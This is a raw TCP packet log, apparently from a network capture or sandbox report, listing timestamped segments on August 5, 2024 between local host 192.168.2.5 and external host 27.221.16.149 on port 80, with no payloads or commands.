Aug 5, 2024 12:00:05.947657108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947693110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947707891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947721958 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947736979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947760105 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947782993 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947797060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947801113 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.947813034 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947827101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947841883 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947854996 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947869062 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947880030 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.947882891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947901011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947911978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.947916031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947940111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947941065 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.947984934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.947992086 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948009014 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948024035 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948035955 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948038101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948054075 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948067904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948069096 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948084116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948097944 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948115110 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948122978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948137045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948143005 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948153019 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948165894 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948213100 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948236942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948251963 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948266029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948278904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948292971 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948307037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948312998 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948322058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948338032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948354006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948430061 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948443890 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948458910 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948463917 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948479891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948513985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948523998 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948528051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948543072 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948558092 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948563099 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948571920 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948579073 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948586941 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948587894 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948601961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948613882 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948616982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948632002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948646069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948659897 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948668957 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948678017 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948690891 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948703051 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948726892 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948859930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948874950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948888063 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948901892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948915958 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948930025 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948944092 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948956966 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948970079 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.948980093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.948993921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949008942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949012995 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949023008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949035883 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949038982 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949050903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949064970 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949069977 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949079990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949095011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949095964 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949110031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949115992 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949125051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949139118 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949153900 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949167013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949173927 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949174881 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949187040 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949194908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949208975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949212074 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949224949 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949244976 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949276924 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949466944 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949480057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949493885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949507952 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949522018 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949522972 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949537039 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949551105 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949563980 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949578047 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949580908 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949592113 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949615002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949628115 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949631929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949655056 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949661016 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949670076 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949685097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949697971 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949707031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949707985 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949721098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949736118 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949748039 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949749947 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949763060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949776888 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:05.949784040 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:05.949805021 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.004431963 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.009644985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009727955 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009761095 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009792089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.009812117 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009844065 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009860992 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.009876013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009908915 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.009922981 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.037004948 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037041903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037075043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037096977 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.037126064 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.037149906 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037183046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037215948 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.037240982 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.082571983 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305212975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305279016 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305313110 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305346012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305378914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305408955 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305442095 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305442095 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305460930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305474997 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305526972 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305558920 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305577993 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305623055 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305669069 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305674076 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305725098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305769920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305773973 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305805922 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305838108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305846930 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305869102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305910110 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.305929899 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.305978060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306010008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306020975 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306057930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306090117 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306098938 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306122065 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306153059 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306163073 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306185961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306217909 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306226969 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306250095 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306282997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306291103 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306313992 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306345940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306354046 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306377888 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306411028 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306423903 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306442976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306476116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306485891 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306508064 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306545019 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306556940 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306586027 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306624889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306632042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306664944 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306705952 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306713104 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306761980 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306792974 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306802034 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306824923 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306857109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306863070 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306905031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306942940 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.306952000 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.306982994 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307015896 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307024956 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307063103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307094097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307104111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307141066 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307173014 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307178020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307204008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307235956 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307240009 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307286978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307317972 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307328939 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307349920 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307380915 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307390928 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307413101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307440996 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307459116 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307471991 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307503939 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307512999 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307535887 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307566881 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307575941 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307598114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307630062 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307640076 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307661057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307693005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307698965 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307724953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307756901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307760954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307789087 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307821989 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307826996 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307871103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307903051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307909966 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.307934999 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307966948 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.307971954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308021069 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308062077 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308068991 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308106899 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308146000 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308154106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308187962 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308224916 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308228970 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308258057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308296919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308305979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308337927 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308368921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308381081 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308401108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308432102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308444023 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308499098 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308537960 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308554888 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308600903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308643103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308645010 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308675051 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308717012 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308727026 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308758974 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308792114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308800936 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308825016 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308856010 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308866978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308887005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308919907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308928013 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.308949947 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308981895 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.308990002 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309012890 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309043884 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309051991 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309077978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309109926 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309114933 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309138060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309170008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309178114 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309202909 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309233904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309243917 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309266090 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309297085 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309305906 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309329033 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309359074 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:06.309366941 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:06.309392929 CEST	80	49766	27.221.16.149	192.168.2.5
